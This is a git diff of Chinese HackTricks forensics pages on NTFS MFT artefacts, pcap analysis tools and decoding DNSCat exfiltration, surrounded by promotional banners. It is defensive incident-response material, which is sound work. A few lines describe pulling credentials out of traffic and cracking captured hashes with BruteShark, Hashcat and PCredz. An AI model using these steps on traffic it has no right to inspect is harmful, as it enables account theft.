| 192 | $SYMBOLIC\_LINK | 软链接信息。仅存在于版本1.2(Windows NT)。 |
|
||||
| 192 | $REPARSE\_POINT | 包含关于重解析点的数据,用作版本3.0+(Windows 2000+)中的软链接。 |
|
||||
| 208 | $EA\_INFORMATION | 用于与OS/2应用程序(HPFS)向后兼容。 |
|
||||
| 224 | $EA | 用于与OS/2应用程序(HPFS)向后兼容。 |
|
||||
| 256 | $LOGGED\_UTILITY\_STREAM | 包含版本3.0+(Windows 2000+)中加密属性的密钥和信息。 |
|
||||
|
||||
例如,**类型48 (0x30)** 标识**文件名**:
|
||||
例如,**类型48(0x30)**标识**文件名**:
|
||||
|
||||
![](<../../../.gitbook/assets/image (508).png>)
|
||||
|
||||
了解这些属性可以是常驻的(意味着它们存在于给定的MFT记录中)或非常驻的(意味着它们存在于给定MFT记录之外的磁盘上的其他地方,并且仅在记录中被引用)也很有用。例如,如果属性**$Data是常驻的**,这意味着**整个文件保存在MFT中**,如果它是非常驻的,那么文件的内容在文件系统的另一个部分。
|
||||
还有必要了解**这些属性可以是驻留的**(意味着它们存在于给定的MFT记录中)或**非驻留的**(意味着它们存在于MFT记录之外的磁盘的其他位置,并且仅在记录中引用)。例如,如果属性**$Data是驻留的**,这意味着**整个文件保存在MFT中**,如果是非驻留的,则文件内容位于文件系统的另一部分。
|
||||
|
||||
一些有趣的属性:
|
||||
|
||||
* [$STANDARD\_INFORMATION](https://flatcap.org/linux-ntfs/ntfs/attributes/standard\_information.html)(其中包括):
|
||||
* [$STANDARD\_INFORMATION](https://flatcap.org/linux-ntfs/ntfs/attributes/standard\_information.html)(以及其他):
|
||||
* 创建日期
|
||||
* 修改日期
|
||||
* 访问日期
|
||||
* MFT更新日期
|
||||
* DOS文件权限
|
||||
* [$FILE\_NAME](https://flatcap.org/linux-ntfs/ntfs/attributes/file\_name.html)(其中包括):
|
||||
* [$FILE\_NAME](https://flatcap.org/linux-ntfs/ntfs/attributes/file\_name.html)(以及其他):
|
||||
* 文件名
|
||||
* 创建日期
|
||||
* 修改日期
|
||||
* 访问日期
|
||||
* MFT更新日期
|
||||
* 已分配大小
|
||||
* 分配大小
|
||||
* 实际大小
|
||||
* [文件引用](https://flatcap.org/linux-ntfs/ntfs/concepts/file\_reference.html)到父目录。
|
||||
* [$Data](https://flatcap.org/linux-ntfs/ntfs/attributes/data.html)(其中包括):
|
||||
* 包含文件数据或指示数据所在扇区的信息。在以下示例中,数据属性不是常驻的,所以属性提供了有关数据所在扇区的信息。
|
||||
* [$Data](https://flatcap.org/linux-ntfs/ntfs/attributes/data.html)(以及其他):
|
||||
* 包含文件的数据或数据所在扇区的指示。在下面的示例中,属性数据不是驻留的,因此属性提供有关数据所在扇区的信息。
|
||||
|
||||
![](<../../../.gitbook/assets/image (507) (1) (1).png>)
|
||||
|
||||
|
@ -158,29 +158,33 @@ NTFS为表中的前16条记录保留了特殊信息:
|
|||
|
||||
![](<../../../.gitbook/assets/image (512).png>)
|
||||
|
||||
分析MFT的另一个有用工具是[**MFT2csv**](https://github.com/jschicht/Mft2Csv)(选择mft文件或映像并按下dump all并提取以提取所有对象)。\
|
||||
这个程序将提取所有MFT数据并以CSV格式呈现。它也可以用来转储文件。
|
||||
分析MFT的另一个有用工具是[**MFT2csv**](https://github.com/jschicht/Mft2Csv)(选择mft文件或图像,然后按“dump all and extract”以提取所有对象)。\
|
||||
该程序将提取所有MFT数据并以CSV格式呈现。还可用于转储文件。
|
||||
|
||||
![](<../../../.gitbook/assets/image (513).png>)
|
||||
|
||||
### $LOGFILE
|
||||
|
||||
文件**`$LOGFILE`**包含了对**文件执行的操作**的**日志**。它还**保存**了在**重做**的情况下需要执行的**操作**,以及需要执行的操作以**返回**到**之前的状态**。\
|
||||
这些日志对于MFT在发生某种错误时重建文件系统很有用。这个文件的最大大小是**65536KB**。
|
||||
文件**`$LOGFILE`**包含有关已对文件执行的**操作**的**日志**。它还**保存**了在发生错误时需要执行的**操作**以及需要执行的操作以**返回**到**先前**的**状态**。\
|
||||
这些日志对于MFT在某种错误发生时重建文件系统很有用。此文件的最大大小为**65536KB**。
|
||||
|
||||
要检查`$LOGFILE`,您需要先用[**MFT2csv**](https://github.com/jschicht/Mft2Csv)提取并检查`$MFT`。\
|
||||
然后运行[**LogFileParser**](https://github.com/jschicht/LogFileParser)针对这个文件,并选择导出的`$LOGFILE`文件和`$MFT`检查的CVS。您将获得一个CSV文件,其中记录了`$LOGFILE`日志记录的文件系统活动。
|
||||
要检查`$LOGFILE`,您需要先提取它,然后使用[MFT2csv](https://github.com/jschicht/Mft2Csv)工具对先前检查的`$MFT`运行。\
|
||||
然后针对此文件运行[**LogFileParser**](https://github.com/jschicht/LogFileParser),选择导出的`$LOGFILE`文件和`$MFT`检查的CVS。您将获得一个包含由`$LOGFILE`日志记录的文件系统活动日志的CSV文件。
|
||||
|
||||
![](<../../../.gitbook/assets/image (515).png>)
|
||||
|
||||
通过文件名过滤,您可以看到**对文件执行的所有操作**:
|
||||
通过文件名过滤,您可以查看**针对文件执行的所有操作**:
|
||||
|
||||
![](<../../../.gitbook/assets/image (514).png>)
|
||||
|
||||
### $USNJnrl
|
||||
|
||||
文件`$EXTEND/$USNJnrl/$J`是文件`$EXTEND$USNJnrl`的一个备用数据流。这个工件包含了一个**记录NTFS卷内变化的注册表,比`$LOGFILE`更详细**。
|
||||
文件`$EXTEND/$USNJnrl/$J`是文件`$EXTEND$USNJnrl`的一个备用数据流。此工件包含在NTFS卷内产生的更详细的更改记录的注册表,比`$LOGFILE`更详细。
|
||||
|
||||
要检查这个文件,您可以使用工具[**UsnJrnl2csv**](https://github.com/jschicht/UsnJrnl2Csv)。
|
||||
要检查此文件,可以使用工具[**UsnJrnl2csv**](https://github.com/jschicht/UsnJrnl2Csv)。
|
||||
|
||||
通过文件名过滤,可以看到**对文件执行的所有操作**。此外,您可以找到
|
||||
通过文件名过滤,可以查看**针对文件执行的所有操作**。此外,您还可以在父文件夹中找到`MFTReference`。然后查看该`MFTReference`,您可以找到**来自父文件夹的信息**。
|
||||
|
||||
![](<../../../.gitbook/assets/image (516).png>)
|
||||
|
||||
### $I
|
||||
|
|
|
@ -2,42 +2,42 @@
|
|||
|
||||
<details>
|
||||
|
||||
<summary><strong>从零到英雄学习 AWS 黑客技术,通过</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS 红队专家)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>从零开始学习 AWS 黑客技术,成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE(HackTricks AWS 红队专家)</strong></a><strong>!</strong></summary>
|
||||
|
||||
支持 HackTricks 的其他方式:
|
||||
|
||||
* 如果您想在 **HackTricks 中看到您的公司广告** 或 **下载 HackTricks 的 PDF**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* 获取 [**官方 PEASS & HackTricks 商品**](https://peass.creator-spring.com)
|
||||
* 发现 [**PEASS 家族**](https://opensea.io/collection/the-peass-family),我们独家的 [**NFTs 集合**](https://opensea.io/collection/the-peass-family)
|
||||
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**telegram 群组**](https://t.me/peass) 或在 **Twitter** 🐦 上**关注**我 [**@carlospolopm**](https://twitter.com/carlospolopm)**。**
|
||||
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 仓库提交 PR 来分享您的黑客技巧。
|
||||
* 如果您想看到您的**公司在 HackTricks 中做广告**或**下载 PDF 版本的 HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* 获取[**官方 PEASS & HackTricks 商品**](https://peass.creator-spring.com)
|
||||
* 探索[**PEASS 家族**](https://opensea.io/collection/the-peass-family),我们独家的[**NFT**](https://opensea.io/collection/the-peass-family)收藏品
|
||||
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**电报群组**](https://t.me/peass) 或在 **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live) 上**关注**我们。
|
||||
* 通过向 [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 仓库提交 PR 来分享您的黑客技巧。
|
||||
|
||||
</details>
|
||||
|
||||
<figure><img src="https://files.gitbook.com/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-L_2uGJGU7AVNRcqRvEi%2Fuploads%2FelPCTwoecVdnsfjxCZtN%2Fimage.png?alt=media&token=9ee4ff3e-92dc-471c-abfe-1c25e446a6ed" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
[**RootedCON**](https://www.rootedcon.com/) 是 **西班牙** 最重要的网络安全活动,也是 **欧洲** 最重要的活动之一。以 **推广技术知识** 为使命,这个大会是技术和网络安全专业人士的热点聚集地。
|
||||
[**RootedCON**](https://www.rootedcon.com/) 是西班牙最重要的网络安全活动之一,也是欧洲最重要的活动之一。作为促进技术知识的使命,这个大会是技术和网络安全专业人士在各个领域的热点交流会。
|
||||
|
||||
{% embed url="https://www.rootedcon.com/" %}
|
||||
|
||||
{% hint style="info" %}
|
||||
关于 **PCAP** 与 **PCAPNG** 的说明:PCAP 文件格式有两个版本;**PCAPNG 是更新的版本,不是所有工具都支持**。您可能需要使用 Wireshark 或其他兼容工具将 PCAPNG 文件转换为 PCAP,以便在某些其他工具中使用。
|
||||
关于 **PCAP** 和 **PCAPNG** 的说明:PCAP 文件格式有两个版本;**PCAPNG 是较新的版本,不是所有工具都支持**。您可能需要使用 Wireshark 或其他兼容工具将文件从 PCAPNG 转换为 PCAP,以便在其他工具中使用。
|
||||
{% endhint %}
|
||||
|
||||
## 在线工具用于 pcaps
|
||||
## 用于 pcap 的在线工具
|
||||
|
||||
* 如果您的 pcap 头部**损坏**,您应该尝试使用以下工具进行**修复**:[http://f00l.de/hacking/**pcapfix.php**](http://f00l.de/hacking/pcapfix.php)
|
||||
* 在 [**PacketTotal**](https://packettotal.com) 中提取**信息**并搜索 pcap 中的**恶意软件**
|
||||
* 如果您的 pcap 文件头部**损坏**,您应该尝试使用以下工具**修复**:[http://f00l.de/hacking/**pcapfix.php**](http://f00l.de/hacking/pcapfix.php)
|
||||
* 在 [**PacketTotal**](https://packettotal.com) 中提取 pcap 中的**信息**并搜索**恶意软件**
|
||||
* 使用 [**www.virustotal.com**](https://www.virustotal.com) 和 [**www.hybrid-analysis.com**](https://www.hybrid-analysis.com) 搜索**恶意活动**
|
||||
|
||||
## 提取信息
|
||||
|
||||
以下工具对于提取统计数据、文件等很有用。
|
||||
以下工具可用于提取统计数据、文件等。
|
||||
|
||||
### Wireshark
|
||||
|
||||
{% hint style="info" %}
|
||||
**如果您要分析 PCAP,基本上必须知道如何使用 Wireshark**
|
||||
**如果您要分析 PCAP,基本上必须了解如何使用 Wireshark**
|
||||
{% endhint %}
|
||||
|
||||
您可以在以下位置找到一些 Wireshark 技巧:
|
||||
|
@ -48,7 +48,7 @@
|
|||
|
||||
### Xplico 框架
|
||||
|
||||
[**Xplico**](https://github.com/xplico/xplico) _(仅限 linux)_ 可以**分析** **pcap** 并从中提取信息。例如,Xplico 可以从 pcap 文件中提取每封电子邮件(POP、IMAP 和 SMTP 协议)、所有 HTTP 内容、每个 VoIP 呼叫(SIP)、FTP、TFTP 等。
|
||||
[**Xplico** ](https://github.com/xplico/xplico)_(仅限 Linux)_ 可以**分析** pcap 并从中提取信息。例如,Xplico 可从 pcap 文件中提取每封电子邮件(POP、IMAP 和 SMTP 协议)、所有 HTTP 内容、每个 VoIP 通话(SIP)、FTP、TFTP 等。
|
||||
|
||||
**安装**
|
||||
```bash
|
||||
|
@ -62,30 +62,30 @@ sudo apt-get install xplico
|
|||
/etc/init.d/apache2 restart
|
||||
/etc/init.d/xplico start
|
||||
```
|
||||
访问 _**127.0.0.1:9876**_,使用凭证 _**xplico:xplico**_
|
||||
访问 _**127.0.0.1:9876**_,使用凭据 _**xplico:xplico**_
|
||||
|
||||
然后创建一个**新案例**,在案例中创建一个**新会话**并**上传 pcap 文件**。
|
||||
然后创建一个**新案例**,在案例内创建一个**新会话**,并**上传pcap文件**。
|
||||
|
||||
### NetworkMiner
|
||||
|
||||
像 Xplico 一样,它是一个**分析和从 pcaps 提取对象的工具**。它有一个免费版本,你可以在[**这里**](https://www.netresec.com/?page=NetworkMiner) **下载**。它适用于**Windows**。\
|
||||
这个工具也有助于从数据包中获取**其他分析信息**,以便能够以更**快速**的方式了解正在发生的事情。
|
||||
与Xplico一样,这是一个用于**分析和提取pcap文件中对象的工具**。它有一个免费版本,您可以[**在这里下载**](https://www.netresec.com/?page=NetworkMiner)。它适用于**Windows**。\
|
||||
这个工具还可以用来从数据包中**分析其他信息**,以便更快地了解**发生了什么**。
|
||||
|
||||
### NetWitness Investigator
|
||||
|
||||
你可以在[**这里下载 NetWitness Investigator**](https://www.rsa.com/en-us/contact-us/netwitness-investigator-freeware) **(它适用于 Windows)**。\
|
||||
这是另一个有用的工具,它**分析数据包**并以有用的方式排序信息,以便**了解内部发生的事情**。
|
||||
您可以从[**这里下载NetWitness Investigator**](https://www.rsa.com/en-us/contact-us/netwitness-investigator-freeware) **(它适用于Windows)**。\
|
||||
这是另一个有用的工具,可以**分析数据包**并以有用的方式对信息进行分类,以便**了解内部发生了什么**。
|
||||
|
||||
![](<../../../.gitbook/assets/image (567) (1).png>)
|
||||
|
||||
### [BruteShark](https://github.com/odedshimon/BruteShark)
|
||||
|
||||
* 提取和编码用户名和密码(HTTP、FTP、Telnet、IMAP、SMTP...)
|
||||
* 提取认证哈希并使用 Hashcat 破解(Kerberos、NTLM、CRAM-MD5、HTTP-Digest...)
|
||||
* 构建视觉网络图(网络节点和用户)
|
||||
* 提取 DNS 查询
|
||||
* 重建所有 TCP 和 UDP 会话
|
||||
* 文件雕刻
|
||||
* 提取认证哈希并使用Hashcat破解(Kerberos、NTLM、CRAM-MD5、HTTP-Digest...)
|
||||
* 构建可视化网络图(网络节点和用户)
|
||||
* 提取DNS查询
|
||||
* 重建所有TCP和UDP会话
|
||||
* 文件切割
|
||||
|
||||
### Capinfos
|
||||
```
|
||||
|
@ -93,25 +93,25 @@ capinfos capture.pcap
|
|||
```
|
||||
### Ngrep
|
||||
|
||||
如果您在 pcap 中**寻找**某**些东西**,您可以使用 **ngrep**。以下是使用主要过滤器的示例:
|
||||
如果你想在 pcap 文件中查找某些内容,可以使用 ngrep。以下是使用主要过滤器的示例:
|
||||
```bash
|
||||
ngrep -I packets.pcap "^GET" "port 80 and tcp and host 192.168 and dst host 192.168 and src host 192.168"
|
||||
```
|
||||
### 文件提取
|
||||
### 数据恢复
|
||||
|
||||
使用常见的文件提取技术可以从pcap中提取文件和信息:
|
||||
使用常见的数据恢复技术可以从 pcap 中提取文件和信息:
|
||||
|
||||
{% content-ref url="../partitions-file-systems-carving/file-data-carving-recovery-tools.md" %}
|
||||
[file-data-carving-recovery-tools.md](../partitions-file-systems-carving/file-data-carving-recovery-tools.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
### 捕获凭证
|
||||
### 捕获凭据
|
||||
|
||||
您可以使用像 [https://github.com/lgandx/PCredz](https://github.com/lgandx/PCredz) 这样的工具从pcap或实时接口解析凭证。
|
||||
您可以使用类似 [https://github.com/lgandx/PCredz](https://github.com/lgandx/PCredz) 的工具来解析 pcap 或实时接口中的凭据。
|
||||
|
||||
<figure><img src="https://files.gitbook.com/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-L_2uGJGU7AVNRcqRvEi%2Fuploads%2FelPCTwoecVdnsfjxCZtN%2Fimage.png?alt=media&token=9ee4ff3e-92dc-471c-abfe-1c25e446a6ed" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
[**RootedCON**](https://www.rootedcon.com/) 是**西班牙**最重要的网络安全活动,也是**欧洲**最重要的活动之一。以**推广技术知识为使命**,这个大会是技术和网络安全专业人士在各个学科的沸腾交汇点。
|
||||
[**RootedCON**](https://www.rootedcon.com/) 是**西班牙**最重要的网络安全活动之一,也是**欧洲**最重要的活动之一。作为促进技术知识的使命,这个大会是技术和网络安全专业人士在各个领域的热点交流平台。
|
||||
|
||||
{% embed url="https://www.rootedcon.com/" %}
|
||||
|
||||
|
@ -132,17 +132,17 @@ suricata -r packets.pcap -c /etc/suricata/suricata.yaml -k none -v -l log
|
|||
```
|
||||
### YaraPcap
|
||||
|
||||
[**YaraPCAP**](https://github.com/kevthehermit/YaraPcap) 是一个工具,它可以:
|
||||
[**YaraPCAP**](https://github.com/kevthehermit/YaraPcap) 是一个工具,可以:
|
||||
|
||||
* 读取 PCAP 文件并提取 Http 流。
|
||||
* 对任何压缩流进行 gzip 解压。
|
||||
* 使用 yara 扫描每个文件。
|
||||
* 编写 report.txt 报告。
|
||||
* 可选地将匹配的文件保存到一个目录中。
|
||||
- 读取 PCAP 文件并提取 Http 流。
|
||||
- 对任何压缩流进行 gzip 解压缩。
|
||||
- 使用 yara 扫描每个文件。
|
||||
- 写入 report.txt。
|
||||
- 可选择将匹配的文件保存到一个目录中。
|
||||
|
||||
### 恶意软件分析
|
||||
|
||||
检查是否能找到已知恶意软件的任何指纹:
|
||||
检查是否可以找到任何已知恶意软件的指纹:
|
||||
|
||||
{% content-ref url="../malware-analysis.md" %}
|
||||
[malware-analysis.md](../malware-analysis.md)
|
||||
|
@ -150,11 +150,9 @@ suricata -r packets.pcap -c /etc/suricata/suricata.yaml -k none -v -l log
|
|||
|
||||
## Zeek
|
||||
|
||||
> Zeek 是一个被动的、开源的网络流量分析器。许多操作员使用 Zeek 作为网络安全监控器(NSM),以支持对可疑或恶意活动的调查。Zeek 还支持安全领域之外的广泛流量分析任务,包括性能测量和故障排除。
|
||||
> Zeek 是一款被动的、开源的网络流量分析器。许多运营商使用 Zeek 作为网络安全监控器(NSM)来支持对可疑或恶意活动的调查。Zeek 还支持一系列超出安全领域的流量分析任务,包括性能测量和故障排除。
|
||||
|
||||
基本上,由 `zeek` 创建的日志不是 **pcaps**。因此,您需要使用**其他工具**来分析包含 pcaps 信息的日志。
|
||||
|
||||
### 连接信息
|
||||
基本上,由 `zeek` 创建的日志不是 **pcaps**。因此,您将需要使用 **其他工具** 来分析包含有关 **pcaps** 的信息的日志。
|
||||
```bash
|
||||
#Get info about longest connections (add "grep udp" to see only udp traffic)
|
||||
#The longest connection might be of malware (constant reverse shell?)
|
||||
|
@ -239,20 +237,20 @@ rita show-exploded-dns -H --limit 10 zeek_logs
|
|||
|
||||
<figure><img src="https://files.gitbook.com/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-L_2uGJGU7AVNRcqRvEi%2Fuploads%2FelPCTwoecVdnsfjxCZtN%2Fimage.png?alt=media&token=9ee4ff3e-92dc-471c-abfe-1c25e446a6ed" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
[**RootedCON**](https://www.rootedcon.com/) 是**西班牙**最重要的网络安全活动,也是**欧洲**最重要的活动之一。以**推广技术知识**为使命,这个大会是技术和网络安全专业人士在各个学科的沸腾交汇点。
|
||||
[**RootedCON**](https://www.rootedcon.com/) 是**西班牙**最重要的网络安全活动之一,也是**欧洲**最重要的之一。以**促进技术知识**为使命,这个大会是技术和网络安全专业人士在各个领域的热点交流会。
|
||||
|
||||
{% embed url="https://www.rootedcon.com/" %}
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>从零开始学习 AWS 黑客技术,成为</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS 红队专家)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>从零开始学习 AWS 黑客技术,成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
支持 HackTricks 的其他方式:
|
||||
|
||||
* 如果您希望在 **HackTricks** 中看到您的**公司广告**或**下载 HackTricks 的 PDF** 版本,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* 获取 [**官方 PEASS & HackTricks 商品**](https://peass.creator-spring.com)
|
||||
* 发现 [**PEASS 家族**](https://opensea.io/collection/the-peass-family),我们独家的 [**NFTs**](https://opensea.io/collection/the-peass-family) 收藏
|
||||
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**telegram 群组**](https://t.me/peass) 或在 **Twitter** 🐦 上**关注**我 [**@carlospolopm**](https://twitter.com/carlospolopm)**。**
|
||||
* **通过向 [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 仓库提交 PR 来分享您的黑客技巧。**
|
||||
* 如果您想在 HackTricks 中看到您的**公司广告**或**下载 HackTricks 的 PDF**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* 获取[**官方 PEASS & HackTricks 商品**](https://peass.creator-spring.com)
|
||||
* 发现[**PEASS 家族**](https://opensea.io/collection/the-peass-family),我们的独家[**NFT**](https://opensea.io/collection/the-peass-family)收藏品
|
||||
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**电报群组**](https://t.me/peass) 或在**Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)** 上关注我们**。
|
||||
* 通过向 [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 仓库提交 PR 来分享您的黑客技巧。
|
||||
|
||||
</details>
|
||||
|
|
|
@ -1,21 +1,21 @@
|
|||
<details>
|
||||
|
||||
<summary><strong>从零到英雄学习AWS黑客技术,通过</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>从零开始学习AWS黑客技术</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE(HackTricks AWS红队专家)</strong></a><strong>!</strong></summary>
|
||||
|
||||
支持HackTricks的其他方式:
|
||||
|
||||
* 如果您想在**HackTricks中看到您的公司广告**或**下载HackTricks的PDF**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* 获取[**官方PEASS & HackTricks商品**](https://peass.creator-spring.com)
|
||||
* 发现[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们独家的[**NFTs系列**](https://opensea.io/collection/the-peass-family)
|
||||
* **加入** 💬 [**Discord群组**](https://discord.gg/hRep4RUj7f) 或 [**telegram群组**](https://t.me/peass) 或在 **Twitter** 🐦 上**关注**我 [**@carlospolopm**](https://twitter.com/carlospolopm)**。**
|
||||
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
|
||||
* 如果您想看到您的**公司在HackTricks中做广告**或**下载PDF格式的HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
|
||||
* 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或 **关注**我们的**Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**。**
|
||||
* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来**分享您的黑客技巧**。
|
||||
|
||||
</details>
|
||||
|
||||
|
||||
如果您有pcap文件,其中包含通过DNSCat(未使用加密)**泄露的数据**,您可以找到被泄露的内容。
|
||||
如果您有包含通过DNSCat**进行数据外泄的pcap文件**(未使用加密),您可以找到外泄的内容。
|
||||
|
||||
您只需要知道**前9个字节**不是真实数据,而是与**C\&C通信**相关:
|
||||
您只需要知道**前9个字节**不是真实数据,而是与**C\&C通信**相关的内容:
|
||||
```python
|
||||
from scapy.all import rdpcap, DNSQR, DNSRR
|
||||
import struct
|
||||
|
@ -34,24 +34,24 @@ last = qry
|
|||
|
||||
#print(f)
|
||||
```
|
||||
更多信息:
|
||||
[https://github.com/jrmdev/ctf-writeups/tree/master/bsidessf-2017/dnscap](https://github.com/jrmdev/ctf-writeups/tree/master/bsidessf-2017/dnscap)
|
||||
更多信息: [https://github.com/jrmdev/ctf-writeups/tree/master/bsidessf-2017/dnscap](https://github.com/jrmdev/ctf-writeups/tree/master/bsidessf-2017/dnscap)\
|
||||
[https://github.com/iagox86/dnscat2/blob/master/doc/protocol.md](https://github.com/iagox86/dnscat2/blob/master/doc/protocol.md)
|
||||
|
||||
有一个适用于Python3的脚本:https://github.com/josemlwdf/DNScat-Decoder
|
||||
|
||||
有一个可以与Python3一起使用的脚本: [https://github.com/josemlwdf/DNScat-Decoder](https://github.com/josemlwdf/DNScat-Decoder)
|
||||
```
|
||||
python3 dnscat_decoder.py sample.pcap bad_domain
|
||||
```
|
||||
<details>
|
||||
|
||||
<summary><strong>从零到英雄学习AWS黑客攻击,通过</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>从零开始学习AWS黑客技术,成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE(HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
支持HackTricks的其他方式:
|
||||
其他支持HackTricks的方式:
|
||||
|
||||
* 如果您想在**HackTricks中看到您的公司广告**或**下载HackTricks的PDF**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* 获取[**官方PEASS & HackTricks商品**](https://peass.creator-spring.com)
|
||||
* 发现[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们独家的[**NFTs系列**](https://opensea.io/collection/the-peass-family)
|
||||
* **加入** 💬 [**Discord群组**](https://discord.gg/hRep4RUj7f) 或 [**telegram群组**](https://t.me/peass) 或在 **Twitter** 🐦 上**关注**我 [**@carlospolopm**](https://twitter.com/carlospolopm)**。**
|
||||
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
|
||||
* 如果您想看到您的**公司在HackTricks中做广告**或**下载PDF格式的HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
|
||||
* 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或 **关注**我们的**Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**。**
|
||||
* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
|
||||
|
||||
</details>
|
||||
|
|
|
@ -2,21 +2,21 @@
|
|||
|
||||
<details>
|
||||
|
||||
<summary><strong>从零到英雄学习AWS黑客技术,通过</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>从零开始学习AWS黑客技术,成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE(HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
支持HackTricks的其他方式:
|
||||
其他支持HackTricks的方式:
|
||||
|
||||
* 如果您想在**HackTricks中看到您的公司广告**或**下载HackTricks的PDF版本**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* 获取[**官方PEASS & HackTricks商品**](https://peass.creator-spring.com)
|
||||
* 发现[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们独家的[**NFTs系列**](https://opensea.io/collection/the-peass-family)
|
||||
* **加入** 💬 [**Discord群组**](https://discord.gg/hRep4RUj7f) 或 [**telegram群组**](https://t.me/peass) 或在**Twitter** 🐦 上**关注**我 [**@carlospolopm**](https://twitter.com/carlospolopm)**。**
|
||||
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
|
||||
* 如果您想看到您的**公司在HackTricks中做广告**或**下载PDF格式的HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
|
||||
* 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们的独家[NFT收藏品](https://opensea.io/collection/the-peass-family)
|
||||
* **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或在**Twitter**上关注我 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**。**
|
||||
* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
|
||||
|
||||
</details>
|
||||
|
||||
<figure><img src="/.gitbook/assets/image (675).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
